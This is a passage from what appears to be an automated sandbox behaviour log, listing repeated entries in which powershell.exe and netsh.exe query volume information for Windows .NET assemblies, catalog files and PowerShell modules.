Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
